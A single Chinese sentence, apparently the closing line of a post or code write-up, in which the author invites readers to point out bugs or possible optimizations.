如果有漏洞或者什么值得优化的地方欢迎指正!